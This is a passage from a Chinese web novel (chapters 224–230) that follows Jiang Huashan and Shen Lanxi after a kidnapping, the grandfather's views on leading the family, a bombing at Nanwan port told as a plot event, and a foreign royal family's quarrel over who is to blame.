反正大家都已经知道她给沈归灵画连环画了,就这么和稀泥吧。 沈兰晞黑如点漆的双眸隐隐泛过黯色,“你和他在白峥的房间里发生了什么?” 姜花衫皱眉,眼神里满是防备,“你现在这是什么态度?审犯人吗?你信不信我跟爷爷告状?” 沈兰晞睇了她一眼,“你觉得为什么你醒来后第一个看到的人会是我?” 姜花衫啧了一声,“行叭,想问什么?” “白峥为什么抓你和阿灵?” 姜花衫,“还能是为了什么?整个宴会就我和交际花最漂亮,不抓我们抓谁?” “他有没有说同谋是谁?” “没有。” “……”沈兰晞看着她的眼睛,“你们怎么杀的白峥?” “手枪啊,那枪还是他自己带的,本来要打我们,结果报应到了自己身上,你说好不好笑?” 沈兰晞笑不出来,“我的意思是,白峥是皇室廷尉长,一般人都近不了他的身,你们两个用了什么手段让他放下了戒备?” 姜花衫不假思索,“不知道啊,沈归灵杀的,我当时晕倒了。” “他房间里有台笔记本,但是里面的资料自动销毁了,是谁销毁的?” “不知道啊,我当时晕倒了。” “是他自己?他为什么中途去销毁资料?” “不知道啊,我当时晕倒了。” 沈兰晞点点头,眼神靠后,语调随意。 “你腿为什么会受伤?” “不知道啊,我……” 姜花衫一愣,这才反应过来。 她腿伤的位置就在臀部下面一点点,那么尴尬的位置说不知道,那岂不是明着告诉沈兰晞有人摸了她的屁屁? 姜花衫语调一转,“哦,我想起来了,我当时太害怕了自己拿刀割的。” “你自己……” 不待沈兰晞开口,姜花衫截断反问,“我也有个问题,是你找到了密室救了我们吗?” 沈兰晞以为她要感谢自己,避开她的眼睛嗯了一声。 姜花衫立马打响反战第一枪,“沈兰晞,你故意的是吧?我身上有定位器,已经最大限度节约了搜查的时间成本,为什么你还是来的这么晚?你知不知道,你要是再晚来一步,我……我人就没了!” 沈兰晞,“……” “该不会这次又是你从中阻拦,不准五伯伯搜船才让我们险些丧命吧?你还是真是万年不变的冷血。” 沈兰晞脸色瞬间阴沉,没有一句解释,转头就走。 呼,姜花衫暗暗舒了一口气,小小沈兰晞,拿捏。 还没等她得意多久,沈兰晞的身影忽然停了下来,姜花衫立马收敛嘴角的笑容。 沈兰晞转过身,再次来到她的床边,他居高临下看着她,眼里带着了然于心的笃定。 “沈归灵碰了你?” 姜花衫瞬间炸毛,从床上跳了起来,点着他的肩膀,“你胡说八道什么,我们……” 沈兰晞悠悠吐出两个字,“的腿?” 姜花衫脸上的表情瞬间凝固,默默收回戳弯的手指。 沈兰晞往前一步,此刻看她的眼神里多了几分意味不明。 “现在你知道了?不是沈归灵有多聪明,是你太笨了。” 姜花衫抿嘴笑了笑,“知道了,下次吃你的脑子。” 沈兰晞沉默了片刻,转身出了房间。 高止一直在院里逗弄小可怜,听见沈兰晞的脚步声顺手把小可怜抄进兜,快步跟了上去。 “少爷,怎么样?姜小姐说了什么?” 沈兰晞脚步一顿,回头看向满花墙的绣楼,“嘴里没一句实话。” 高止一脸同情,“少爷,我就说你这么问是问不出来的?你看,又找气受了吧?不是我说,姜小姐在气你这条路上已经超神了。” 沈兰晞转眸看向高止,高止立马闭嘴,用力点头,戴在头顶的墨镜又挂回鼻梁。 …… 第225章 爷爷的家主之道 沈兰晞转头回了兰园。 兰园精致华贵,处处都透着高雅德馨的意境。 沈兰晞目不斜视直接穿过莲池进了书房。 他的书房外廊与莲池衔接,闲来无事坐在窗下便可赏秋池观锦鲤。 庭院池塘边种了几棵垂天芭蕉叶,下雨时,听雨打芭蕉看大珠小珠落玉盘;天晴时,看翠色填窗静坐一日也怡然自得。 但这会儿,沈兰晞自得不了一点,每次被姜花衫气着,他都会有不同程度的头疼。 高止看的心疼不已,好好的一个少爷偏偏遇上一个癫小姐。 “少爷,姜小姐如果不愿意配合,这次恐怕又要让二房逃过去了。” 沈兰晞捏了捏眉心。 “真搞不懂,姜小姐的性子嫉恶如仇,发生这种事她还替二房遮掩,到底图什么?这里面肯定有什么不可告人的秘密。” 沈兰晞指尖一顿。 高止小心翼翼逗弄口袋里的小可怜,逐帧分析。 “难道?姜小姐跟她妈一样也投靠二房了?不对啊!她妈都被她赶出去了,经过我这三年暗暗查访,我可以断定,她们两个不是一个路数的。” “姜小姐除了幺小姐,对其他人都一视同仁的刻薄,谁都得罪,也不像是站边了。” “不对!不对!也不是一视同仁,比起清予少爷和阿灵少爷,姜小姐明显最讨厌少爷您。” “……” 高止还想分析,沈兰晞淡淡打断他。 “闭嘴,出去。” 高止有些扫兴,但一想到出去可以逗小乌龟玩,脚步立马又变得欢快起来。 书房再次安静下来。 沈兰晞侧头看向窗外的池塘,阳光把他的睫毛染成了金色,却没能温暖他眼底的情绪。 虽然没有证据,但直觉告诉他,这次南湾海域的事一定和二房脱不了干系。 少年垂眸,目不转睛看着左手腕间的红绳。 “阿晞你看,这是妈妈编的红绳,好看吗?别生气了,爸爸妈妈答应你,这次一定回来陪你过春节,到时候我们就放一晚上的烟火,好不好?” “阿晞,爸爸知道食言就是欺骗,但爸爸别无选择。很遗憾不能再陪你一起放烟火了。只要一想到你的烟火能在我守护的国土上空自由绽放,我就觉得无比荣耀,也希望你以父为荣。” “咚——” 莲间的锦鲤从水面跃起又一头栽进水里。 沈兰晞眨了眨眼睛,神情淡淡看着窗外的景致。 当年父亲身故,所有人都告诉他,这是荣耀。 但没有人能理解,一个孩子心心念念等一场烟火最后却等来了一场死别,荣耀与他有什么意义? 他跪在父母的灵堂前,看着形形色色的人来了又走,他们用怜悯的眼神谴责他。 “这孩子真冷血,父母死了怎么一滴眼泪都没有?” “听说沈家这位少爷早慧通达,冷心冷血,没想到连对亲生父母也是如此。” “不会吧,毕竟还只是个孩子,是不是刺激太大出现应激反应了?” “兰晞……” 回忆戛然而止,沈兰晞回头,沈庄拄着拐杖笑着走了进来。 “爷爷。” 沈兰晞赶紧让出主位。 沈庄盯着他的脸色瞧了一会儿,轻轻拍了拍他的肩膀,“听说小花儿醒了?” 沈兰晞点头,“嗯,看样子是她睡饱了。” 沈庄忍俊不禁,笑着摇摇头,“那丫头又给你气受了?” 俗话说不痴不聋,不作阿家翁,沈庄一直觉得沈兰晞身上寡的没有人情味,让姜花衫治治也好。 “没有。” 沈兰晞与姜花衫不同,那祸坨子仗着有老爷子撑腰三天两头上门碰瓷,而沈兰晞,就算被姜花衫气得神经痛绝不打小报告。姜花衫就是仗着这点,更加肆无忌惮。 沈庄也不拆穿,拍了拍他的肩膀,“坐。” 沈兰晞微微躬身坐在沈庄下侧。 “怎么样?问了衫衫了,她怎么说?” 沈兰晞一想到姜花衫指着他的肩膀盛气凌人的样子就有些无语,“她说她当时晕倒了,通通不知道。” 沈庄哈哈笑了起来,小花儿最擅长和稀泥,兰晞又过于执着刻板,他都能想象面对小花儿的滑头大孙子有多头疼。 沈兰晞有些无奈,“爷爷,你还笑?她这么胡闹都是您纵的。” “诶。”沈庄摆摆手,“这怎么是胡闹呢?阿灵帮着他爸爸遮掩是他的孝道,你要查清真相杜绝危险是你的意愿,衫衫不愿入局作壁上观是她的智慧,你们是三条完全不同的人生轨迹,做出不一样的选择不是理所当然的事吗?” 沈兰晞微怔,目光清明看着眼前的老人,“那爷爷您呢?” 爷爷明明就已经怀疑白家与二房有勾结了,若是沿着沈归灵这条线查下去必然会有结果,但他却把沈谦与沈归灵都留在南湾,这不是等于纵容了幕后凶手? 沈庄眼神温润,很有力量,“兰晞,爷爷是一家之主,爷爷的职责是保住沈家的根基。” 沈兰晞想了想,有些不认可,“爷爷,百年大树不会一朝枯朽,衰败必有腐根,所以我们必须要把根本找出来。” “怎么找?” “刨根问底。” 沈庄摇头,“百年大树盘根错节,刨根必伤根系,杀敌一千自损五百,非上策。” 沈兰晞,“根系受土壤滋润,把腐根清除,假以时日它们会重新为大树吸收养分。” 沈庄看着他,沈兰晞顿了顿,“爷爷不认可?” “没有不认可,只是非上策。”沈庄还是摇头,“兰晞,坏了的根可以一刀切,但如果是坏的人呢?坏的妻子呢?坏的孩子呢?” 沈兰晞怔然,这个问题他没有想过,一时无言以对。 沈庄,“舍弃是最简单的事,真正难的是如何治理。兰晞,没有人不犯错,如果有天阿灵、或者清予变成了坏根,你真的‘治’都不‘治’就要将他们拔除吗?” 沈兰晞沉默。 “你好好想想爷爷说的话。”沈庄站起身。 沈兰晞跟着起身,眼中有几分执拗,“爷爷,你知道我说的不是阿灵也不是清予,难道无可救药您也要救吗?” 沈庄目光略有怔忡,缓缓道出两个字,“先救。” “爷爷?” 沈兰晞不理解,爷爷主宰沈家四十年,杀伐果决的家主怎么会有这种妇人之仁? 沈庄知道他心里在想什么,语气平常,“兰晞,你要知道,你口中说的那个‘无可救药’的人,他还是爷爷的儿子,养不教父之过。” 沈兰晞顿然,他忽然意识到自己刚刚那一番言论对爷爷来说有多冒失。 爷爷什么都知道,他随时可以行使家主的权力,只是他在做家主之前他还想再履行一次做父亲的义务。 …… 第226章 过往、伏笔 沈庄看出了沈兰晞眼中的愧疚,带着笑意摸了摸他的头,“兰晞,下次小花儿说你的时候试着跟她解释吧。” 沈兰晞目光一滞。 “告诉她,这次你没有丢下她和阿灵,这次,你做的很好。” “……” * 沈庄走后,沈兰晞坐在窗下久久没有回神。 他一动不动看着腕间的红绳。 所有人都说他冷血无情,父母下葬那天,沈家上下悲痛欲绝,唯独他连送葬都不肯。 后来,是爷爷哄着他上了山,又抱着他为棺椁盖上了一抔黄土,等尘埃落地他忽然情绪失控,不顾所有人阻挡去挖新坟。 所有人都以为他疯了。 但只有他知道,他没有疯,只是太舍不得爸爸和妈妈了。 是爷爷,他不管旧俗不管祖制,命人破土重新开棺。 “兰晞别怕,这次,好好跟爸爸妈妈道别。” 因为负气父母屡次食言,他丢掉了妈妈编的红绳,爸爸临走前在房门好言相劝他也没有走出房门一步。 他不是不爱父母,不是不伤心,也不是冷血,是真的接受不了。 因为他知道,这次的失去是永远。 那是他有记忆以来唯一一次放声大哭,他哭晕在父母的棺木上,醒来的时候身边围满了人。 他听见有人说:“结合兰晞少爷这几日的症状,我们初步诊断为双向情感障碍,他这种情况很危险,必须入院接受治疗。” “爸,还是听医生的吧。” 他没有病,他只是很累,不想说话。 但所有人都听信了医生的话,因为他在葬礼上表现的癫狂让他没有一点可信之处。 可是他知道,他不能入院,一旦承认自己有病他就撑不起父亲希望他继承的荣耀了。 万念俱灰之下,他拉着爷爷的手,用嘶哑的声音向他解释,“爷爷,我没有病,我是正常的。” 后来爷爷将他搂在怀里,把所有人都骂走了。 如果爷爷只是家主,他又怎么能一步步走到今天呢? 家主不会为了一个孩子的无礼要求冒天下之大不韪破坏祖陵,更不会对一个孩子的话偏听偏信。 他首先是爷爷。 * 姜花衫把沈兰晞气走后神清气爽,坐在院里的花架下享受淮城美食。 傅绥尔上午来了几回都跑空,原本这次也不抱希望,冷不丁看见睁开眼的姜花衫高兴地原地起跳,呼地一下扑上前。 “天老爷!你总算是醒了。” “呕!”姜花衫差点断气。 傅绥尔吓的赶紧给她顺气,“你没事吧?” 姜花衫咽下嘴里的肉,又灌了一口水,“你说呢?白峥都没你手黑。” 傅绥尔自觉有错,赶紧又给她倒了一杯水,“我这不是太高兴了吗?你是不知道,听说你被绑架我都快急死了,还有我妈,连S国的杀手都找好了。” “噗!”姜花衫差点喷了出来,“干妈这么有实力的吗?” 傅绥尔递上纸巾,语气有些埋怨,“你知道就好,你以后有什么事能不能先跟我说一声啊,再发生这样的事我真的会被吓死的。” 姜花衫被说的有些不好意思,“知道了,下次不会了。” 傅绥尔哪会真跟她计较,盯着她上下打量,“听说那个白峥是个变态,你有没有受伤啊?” 姜花衫摇头。 这次的事情虽然看着危险,但其实总体还在她的把控之中。 她知道剧情的大致走向,也知道沈归灵和她不会有生命危险,所以才大着胆子想去找找剧情的变数。 但是她还是有考虑不周的地方,当时只考虑到生命的层次,忽视了沈归灵可能会有别的危机。 男孩子的清白也是清白啊。 姜花衫忽然想到什么,“听说沈归灵留在南湾?” 傅绥尔点头,“嗯,阿灵哥腿受了枪伤,没几个月就是国政军校的招生考试了,爷爷希望他好好休养。” 休养? 只怕休养是假,他现在忙着品味胜利果实吧。 真是白眼狼,怎么说他的清白也是她保住了,怎么连秘密都不分享一下? 她又喝了口水,“对了!以沈家的实力没道理拖延了这么久才找到我们,你知道这里面发生了什么事吗?” 傅绥尔点头,随后把沈家如何追踪,如何与白家周璇的事情简明扼要说了一遍。 “衫衫,这次还多亏了兰晞哥,要不然只怕拖的时间会更久。” 姜花衫略有些意外,没想到以前用火都捂不热的冰棍人忽然有了人性? 傅绥尔也跟着复盘了一遍,略有唏嘘,“你说怎么船上正好就有群流匪呢?这也太凑巧了。” “流匪?”姜花衫灵光一闪,不知怎么就想到了上一世鲸港财阀谈之色变的灭杀门,作案的正好也是一群流匪。 所有的剧情不会单独存在,这群流匪也不可能是无缘无故冒出来的。 姜花衫眼神凝重,“绥尔,那群流匪都抓住了吗?” 傅绥尔摇头,“听说大部分流匪被当场击毙,极少数人跳海逃生还在通缉中。” 伏笔。 难不成两年后的财阀灭门惨案还要再经历一次? “衫衫,你怎么了?有什么问题吗?” 上一世的剧情,这群流匪冲进了傅家,洗劫了傅家整个老宅,冯妈为了保护傅绥尔被乱刀砍死。 姜花衫斟酌片刻,决定还是先跟绥尔打一剂预防针,“你还记不记得当初我给你的几个预言。” 傅绥尔神情微变。 她记得。 母亲被害,冯妈惨死,她会遇人不淑被骗身骗心。 …… 第227章 火 这么糟糕的人生,傅绥尔光想就觉得毛骨悚然。 值得庆幸的是,今日不同往日,虽然她恐慌命运,但也不惧面对。 姜花衫拍了拍她的手,然后耸耸肩。 再多的话就不能说,当初故意说能预知未来不过是想用最快的速度拉拢绥尔,让她信任自己,现在傅绥尔都已经十六岁了,而且成长喜人,她们之间已经不需要先佐证了。 傅绥尔很聪明,姜花衫提起流匪,又提起预言,却又故意不说完整,她当即明白又是个不能言明只能意会的秘密。 两人相互一个眼神,立马就明白了对方的心意。 姜花衫略微松了一口气,“干妈还好吧?最近有没有发生什么奇怪的事?” “没什么特别的,还跟往常一样。哦!”傅绥尔忽然想到什么,“我听冯妈说,我爸已经把外面那个女人接回了傅家,还有他那个私生子。” 上一世那个女人是在沈娇去世两年后才登堂入室的,想必是傅家明知道复婚无望,索性也不藏着掖着了。 姜花衫想了一会儿没有思路,两人又聊起了学校的事情。 那天在食堂闹完后,沈眠枝立马写了一份材料给学校,学校方面也很重视,不仅缩短了剧组的拍摄时间,还直接划分了摄影区,要求剧组不可影响学生学习。 难得,沈眠枝也硬气了一回。 两人你一言我一语,回过头不觉天色都暗了。傅绥尔连忙告辞,今晚八点,政法频道将实况转播提名议员们的最新提案,她必须要守在电视机前。 姜花衫睡了一天人都睡麻了,送走了傅绥尔又开始无聊起来,于是便打算带小可怜出去散散步。 “小可怜?小可怜?” 找了一圈也没看见穿着粉色裙子的小乌龟,她只好找张茹求助。 “张妈,你看见小可怜了吗?” 张妈正在主厅给小可怜做新裙子,听见姜花衫问话,赶紧放下手中的针线走了出来,“下午还看见在院子里遛弯呢,是不是躲花架下面了?她最近懒的很,窝在一处就不爱动了。” 姜花衫沿着花架找了一圈,“没有啊。” “是不是藏在叶子下面了?”张茹跟在姜花衫后面又找了一圈,“奇怪,它平时就在这院子玩的,多走一步都不可能。” 姜花衫脸色有些不好,小可怜跟了她三年,虽然现在还没学会爱,但她们已经有感情了。 张茹不由也慌了起来,围着院子四处翻找,“去哪了?明明下午还……”她一顿,拍了拍大腿,“我想起来了,高止!他下午拿了好多小鱼干,我不许他喂,他当时还不高兴。会不会是?” “高止?”姜花衫思忖片刻,转身,“我去找他。” * 沈兰晞半靠着窗台,手里的《论衡》他已经看了十年了,这是第一次他一个字都读不进去。 这一个下午,沈兰晞想了很多,现在脑子里唯一记得的就是老爷子临走前的叮嘱。 “告诉她,这次你没有丢下她和阿灵,这次,你做的很好。” 沈兰晞放下书,起身走到书桌前打开其中一层暗格,里面放着一把银制长命锁。兜兜转转三年时间,这锁还没有还回去,不如借着还锁的机会把误会解释清楚? “高止!!” 他正犹豫不定,窗外传来耳熟不过的叫嚣声。 沈兰晞抬眸往窗外看了看,那道身影已经进了院子,思忖片刻,沈兰晞拿起长命锁放进裤兜,推门走了出去。 姜花衫进了院子就跟土匪进了村似的,不是掀砖就是抬缸。 “小可怜~你在哪里啊?小可怜?” “你在做什么?” 姜花衫直起身,飞快冲到沈兰晞面前,“高止呢?他偷了我的龟蜜。” 闺蜜?沈兰晞脑子转了一下,“你是说那只乌龟?” “没错。他人呢?”姜花衫四处张望。 沈兰晞,“他出去了。” “出去了?”姜花衫气得眼睛发绿,“那我的小可怜呢?沈兰晞,我的龟!你的保镖偷了我的乌龟!!” 沈兰晞被她吵的头疼,放在裤兜里的手犹豫了一秒拿出了手机。 电话拨通,那边很快就有了回应。 “少爷。” 姜花衫的目光咄咄逼人,沈兰晞沉默片刻,转过身,“乌龟呢?” “什么乌龟?少爷,我在码头呢,这里风大信号不好,我挂了。” 沈兰晞,“送回来。” 那边的高止感觉天都要塌了,“少爷,明天送行不行?我现在还在码头盯着这批货呢?不是你说关系重大让我务必亲力亲为吗?我现在可不能回去,我估么着今晚就会有动静。” 货? 姜花衫竖起一对天线耳。 什么货? 沈兰晞想了想,转头看向姜花衫,“明天给你送回来?” “不行!”她想也没想大声拒绝。 “……”沈兰晞闭眼,侧了侧头。 姜花衫一把上前,拖着他的胳膊,“你让他现在送回来,我刚刚听见了,你让高止出去执行任务了,万一是个危险的任务高止死了我的龟龟怎么办?它对我很重要,非常重要,我绝不能让它有危险!” 见沈兰晞不为所动,姜花衫眼露凶光,“沈兰晞,我没开玩笑!小可怜要出了什么事,我跟你没完!” 沈兰晞拍开她的手,换了只手接电话,“今晚先安排别人盯着,你先回来。” * 与此同时。 距离南湾港口一千米的某居民楼顶。 高止收了电话,骂骂咧咧开始收拾工具。 一会儿说要亲自盯梢,一会儿又说安排别人,是不是别人不发火就当别人是傻子啊? 高止提起箱子,摸了摸肩膀上小龟龟,“本来要带你出来透气的,现在又要回去了。” 话音刚落—— ‘砰’—— 码头传来一声巨响,之间一把窜天明火在河岸烧了起来。 高止脸色微变,赶紧拿出手机录像。 余爆一声接一声,威力之大就连距离千米之外的地面都能感觉到地面在晃动。 “啊啊啊!” 停靠在码头的附近的船烧成一片,甲板上的人尖叫着四处逃窜想跳河逃生都不能,因为四周已经被火海包围了。 …… 第228章 蠢蠢欲动 “他马上回来。” 沈兰晞把电话揣进兜,无意间又摸到了长命锁。 他想了想,缓缓张口,“其实……” “嗡——” 这时,手机忽然发出震动。 沈兰晞犹豫了一秒,再次拿出手机。 是高止发来的消息。 【少爷,出事了。】 紧接着又发来一段视频,视频定格在浓烟烈火最盛的一帧。 沈兰晞神情凝重,点开视频。 漫天的火似乎要把天都烧个窟窿,视频夹杂着很大的风声,还有时隐时现的惨叫声。 姜花衫被手机里的声音吸引,好奇探头打量,当看见视频里被烧亮的半边天,她也愣住了。 “这是哪?” 沈兰晞关了手机,“南湾渡口。” “南湾渡口?” 姜花衫也意识到了事情的严重性。 南湾渡口被烧了?! 可是,上一世并没有这个情节啊。 * “妈!妈妈!” 沈娇正在客厅敷面膜,傅绥尔情绪失控,尖声大叫!沈娇吓了一跳,赶紧从沙发上坐了起来以最快速度跑回偏厅。 恰巧这时傅绥尔也跑了出来,两人撞了个满怀。 “嘶!”沈娇捂着胸口,“出什么事了?咋咋呼呼的?” “妈妈,南湾码头…”傅绥尔拉着沈娇的手跑进偏室,指着眼前的电视,“你看,南湾码头烧起来了。” 今天的议员提案选在南湾市直播,演播厅背景正好就是整个南湾码头,八个议员长候选人正在唇枪舌战,忽然!背景爆出一朵火云,抢走了所有关注。 千万人在线观看的政坛直播忽然变成了一起爆炸事故。 沈娇难以置信看着电视屏幕,南湾渡口是A国最大的贸易港口,在这里引爆炸弹无异于对着A国国门放了一炮,这事可不得了。 * 南湾市,海釜天府。 巨幕电视机正播放着南湾政府施救的现场情况,记者在漫天火势之下显得尤其渺小,混乱的镜头和嘈杂的呼救声无一不在告诉所有人,这次的意外有多突然。 沈归灵双腿交叉,漫不经心看着电视里的画面。 “阿灵少爷。” 莫然端着一杯鲜榨橙汁从厨房走了出来。 从跟姚歌摊牌后,她无缝衔接了照顾沈归灵的工作。 作为一名优秀的秘书助理,莫然自诩的心理素质超乎常人,但接触了沈归灵后她才知道什么是真正的强者圣体。 跟着姚歌这三年,她没少助纣为虐,原以为沈归灵会伺机报复,但他没有。不仅没有,还对她特别客气,简直有礼貌到让人害怕。 莫然双手递上橙汁,“香山陵园那边已经安排好了,明天就可以过去了。” “谢谢。”沈归灵点头,接过橙汁喝了一口。 “您客气了。” 莫然有些不安,想了想觉得还是有必要表现一下,“少爷,冒昧问一下,明天需要准备什么花?” 沈归灵,“都可以,你看着办吧。” “是。”莫然点头,退出了房间。 沈归灵一口喝完橙汁,拿起遥控切换到了地方台。 无一例外,都在讨论南湾港口被炸一事。 连换了几个都看不见新鲜的内容,沈归灵兴致缺缺关了电视。 沈谦现在应该头都大了吧?在这个节骨眼南湾出这么大的事,别说他,就是整个A国上层都不好过。 白家果然不好招惹。 * 翌日。 三辆黑色轿车低调驶进香山。 当初沈谦是为了给A国民众一个交待才自愿请辞议员长一职的,所以这次的祭拜不宜大张旗鼓,陵园这边一早就收到了消息,提前做了清场准备。 沈归灵一身黑色西装,神情温和从车上走了下来。 莫然捧着一束鲜花递给他,“阿灵少爷,我们就在这里等。” 沈归灵点头,抱着花往墓园方向走去。 一路走过来,几乎每个陵墓前都有祭拜的痕迹。他一步一缓慢,在一座干净的墓前停了下来。 “妈,我来看你了。” 他蹲下身,笑着献上手里的花。 墓碑上印着女人生前的照片,笑容甜美。 “这三年,我一直不敢来,因为我怕你生气。很抱歉,我没有履行对你的承诺,我没能放下仇恨。” “没办法,谁让我不是你真正的孩子,所以我永远学不会你的善良。” “……” * 莫然与保镖一行人在山下等,原以为会等上一段时间,没想到十分钟沈归灵就下来了。 “少爷,您祭拜完了?” 沈归灵点头,“嗯。” 该交代的都交代了,妈妈现在又管不了他,不管他想做什么也只能由着他了。 莫然说不上哪里怪异,上前给沈归灵开门,“少爷,回家吗?” 沈归灵摇头,“去父亲那。” 莫然有些迟疑,南湾出了这么大的事,先生现在一定是焦头烂额哪有空搭理少爷? 但为了不得罪沈归灵,莫然还是硬着头皮给沈谦打去了电话。 电话是助理接的,得知来意后,助理又去问了沈谦,让人万万没想到的是,沈谦直接报了地址。 莫然惊诧的同时不得不重新审视沈归灵在沈谦心中的地位。 南湾危机事关重大,这个时候能陪在沈谦身边的都是追随多年的肱骨之臣,沈谦同意沈归灵过去,这是有引荐的意思。 莫然毕恭毕敬把沈归灵请上车,借着前排的后视镜偷偷打量少年。秀色可餐大概是所有人对他最大的误解,他真正的厉害之处是让人潜移默化就变了心。 * S国。 白王宫上空碧空如洗。 宫殿白玉台阶前,两头白色的大象正懒洋洋跪在金樽喷泉边玩水。 二十一道宫门金碧辉煌,每个殿门前都站着两个穿红色军制大衣的侍卫长。 但见一位年近四十的中年男人神色匆匆登上玉阶台,对着主殿拜了拜才躬身进了其中一道宫门。 入了宫门,大侍卫长将人拦下,“女王正在会客,阁下稍等。” 男人点头,微微躬着身子退在一边。 “砰——!” 这时,偏殿传来瓷器撞击的声音。 男人愣了愣,抬头看向门口的侍卫长,侍卫长眼观鼻鼻观心。 又过了一会儿,议事厅的门从里面打开,一个银发少年顶着两个通红的巴掌印走了出来。 …… 第229章:白族王室 银发少年沉着脸,眼底郁色让他看上去像只极具威胁的幼兽。 女王的脾气还是一如既往地暴躁啊! 男人生怕少年迁怒,尽量缩小自己的存在感。 侍卫长已经见怪不怪,上前拉开议事殿的门,“阁下,您可以进去了。” 男人一只手搭在肩膀上,恭敬谨慎进了内殿。 少年走了两步又停了下来,看着男人的消失的背影,眼中颇有些迟疑,但一想到刚刚被无情对待他又拉不下脸,最后转头出了殿门。 殿外的随侍等的心急如焚,见他出来立马迎了上去,“殿下,长公主殿下要见您。” 少年好看的脸拧成了麻花。 随侍,“长公主在西贡殿等您。” 少年摸了摸红肿的脸,“带路。” 西贡殿平时不作为政治接待,一般只供皇室家族成员聚会使用。 白拉曼此刻脸色也不太好,闭眼端坐在主席上。 作为白朱拉女王的嫡长女,白拉曼的身份地位仅次于已故王储白宸亲王,西贡殿的侍从官员无比小心翼翼,唯恐怠慢。 少年进殿之前故意用力揉搓脸颊,夸大了效果后才淡定推门而入。 白拉曼听见动静,抬眸打量,瞧见少年脸上的红肿,眼里的嫌弃又多了几分。 少年恭敬走到跟前,“母亲。” 白拉曼,“你今年多大了?” 少年,“十七。” 白拉曼冷笑,“你是不是打算在你年满十八周岁之前把所有罪行都经历一遍?” 少年皱眉,漂亮的眸子里都是桀骜不驯,“A国人杀了我们白家人不说,还往我们头上泼脏水,我炸他们一个渡口怎么了?阿嫲也是,她平时动手从来不打脸的,这次也不知道怎么了?” 白拉曼,“怎么了?你把天捅了个窟窿,你阿嫲只给你两个耳光,你就叩谢天神保佑吧!幸好你长了这张类似三分的脸,不然你小时候就被打死了,哪还能活到现在!” “……”少年被气笑了,“我是不是您亲生儿子?” 白拉曼,“不用验,就这双三分像德曼七世的眼睛,你铁定是白家人无疑。” S国历经几个世纪战乱不断,是白家先祖德曼一世统一了各个政权,最后建立了德曼王朝。 时代与时俱进,各国国情也不尽相同,S国是强权大国中唯一实行君主立宪制的国家。 德曼六世在位期间,S国迎来了一次有史以来规模最大的政治变革,君王权力被国会、内阁、法院架空,君王和皇室成员不再拥有实权。 但这样的日子并没有维持多久,德曼六世后,德曼七世白普(也就是现女王的父亲)继位,这位君王策动内阁修改宪法,重新掌握了S国的军政大权。 白普大帝战绩远不止于此,他在众多子女中看中了当时还是公主的白朱拉(现在的女王),为了扶持女儿坐上王座,这位父亲直接修改王位继承条例,把原来由男性王子继承的规定改成了王室女性拥有王储继承权。 不过人无完人,白普大帝也有被人诟病的一面,比如他生性风流,除了王后还在外面还养了无数情人,值得一提的是,S国王室是当今为数不多实施一夫多妻制的君王家族。 白普大帝与女儿感情深厚,女王也一直感念父亲力对她的托举,继位后,女王不顾众人反对将白王宫正殿德曼一世的油画肖像换成了父亲德曼七世。 只要有幸见过这幅肖像的人都知道,白普大帝是位不可多得的美男子,尤其是那双优雅矜贵的瑞凤眼,笔墨难描。 少年自是见过挂在正殿的油画,曾祖父的风采他是自愧不如,不过,皇室成员中倒有人像得七成七。 他转身找了个空位,愤愤不平,“说到底,阿嫲就是偏心。” 长公主知道他说的是谁,神情凝重,“都跟你说了多少遍了,有些话不能乱说。” “这里就我和母亲,有什么不能说的?真搞不懂阿嫲在想什么?为什么迟迟不立王储?现在好了,大舅舅和小舅舅都死了,表舅他们一家现在一定高兴坏了,恨不得放鞭炮庆祝了。” 女王还有个王兄,叫白吉拉,如果不是白普大帝特别中意这个女儿,现在的君王就应该是这位吉拉亲王了。 当年争夺储君失败后,亲王意志消沉沉迷女色,唯一的兴趣就是生孩子。 这位亲王比他父亲还风流,虽然年纪轻轻就去世了,但留下了一堆种子,其中最负盛名的就是大妃一脉,其子白洌王子更是被S国民众视为第二个‘白宸亲王’。 少年说的表舅指的就是王室这一脉。 “我跟阿嫲说,小舅舅的死说不定就是白洌的阴谋,阿嫲一个字都听不进去,反而把我赶了出来。” “你不赶你留着你继续在正殿胡说吗?你知道你派人把A国港口炸了这件事影响有多恶劣吗?这件事一旦成为了两国开战的导火索,就算是女王也保不住你!更甚之,连我也将被牵连,失去继任王储的资格。” 少年并不在意,“这件事我做的很隐蔽,谁知道是我?就算知道又能拿我怎么样?” “隐蔽?”白拉曼头疼,“脸上那两个耳光就不疼了?别小看A国,尤其不要小看他们的财阀世族,这些人都是精明的权谋者,杀人不见血。” 少年,“……” “我收到消息,上午A国已经跟女王递交了外交文书,女王已经同意了。”白拉曼苦口婆心,“阿密,白洌现任军权第一执行官,地位仅次女王,而我们这一脉就只剩我们和你小姑姑一家了,女子立国本就艰难,未来的王储之战只怕腥风血雨,你什么时候才能懂事?” 少年懒洋洋,“不是还有一个王孙吗?阿嫲这些年一直都没放弃,为了找他A国都翻遍了。那家伙可是白宸亲王的孩子,他如果回来,军区那些老东西应该一半都会归顺吧?” 白拉曼表情凝重,她的那位王兄能在没继位前让一个国家以他命名可想其厉害之处,若当年王兄没有发生意外,白洌连出头的机会都没有。 只不过人海茫茫,当年一个尚在襁褓的孩子怎么可能躲过重重暗杀? 继续找,也不过是女王的一点念想罢了。 想起那位天神一般的王兄,白拉曼看向白密的眼神不觉又多了几分嫌弃。 “下个月A国来访,所有皇室成员都会出席。我警告,你要敢顶着这一头银毛出现在宴席上,我削了你的头。” …… 第230章 她也曾仗义 南湾渡口的爆炸案在A国传的沸沸扬扬,不管在哪都有很高的话题度。 育才也不例外,英才班的同学多少知道些内幕,把这件事当成茶余饭后的谈资,有人说是潜逃的流匪蓄意报复,还有人说是当地势力黑吃黑,更甚已经上升到了对南湾地方政府的不满。 谣言越传越玄乎,一时间说什么的都有。 “妙妙,南湾的事你怎么看啊?” 苏妙一连三天都无精打采,周绮珊几次跟她搭话都没有反应。 “妙妙,你怎么了?这几天一直都心不在焉的。” 苏妙暗暗叹了一口气,检测结果马上就要出来了,姜花衫莫名其妙就消失了,到时候去哪找个挡箭牌啊? 她摆摆手,声音轻得像阿飘,“我没事。” 周绮珊也只好收住了话题,两人一前一后进了教室。 忽然!苏妙眼前一亮,原地满血复活,噌得一下闪现到靠窗的课桌前。 “姜花衫!” 姜花衫正低头收拾书包,听见有人叫她,抬头看了一眼,“噢~” “噢什么噢~什么德行!”苏妙没好气,抬着下巴转身回到自己的座位。 傅绥尔,“她是不是脑子有毛病?” 自己上来打招呼的,拽成这样给谁看? “算了算了,这几天别惹她。” 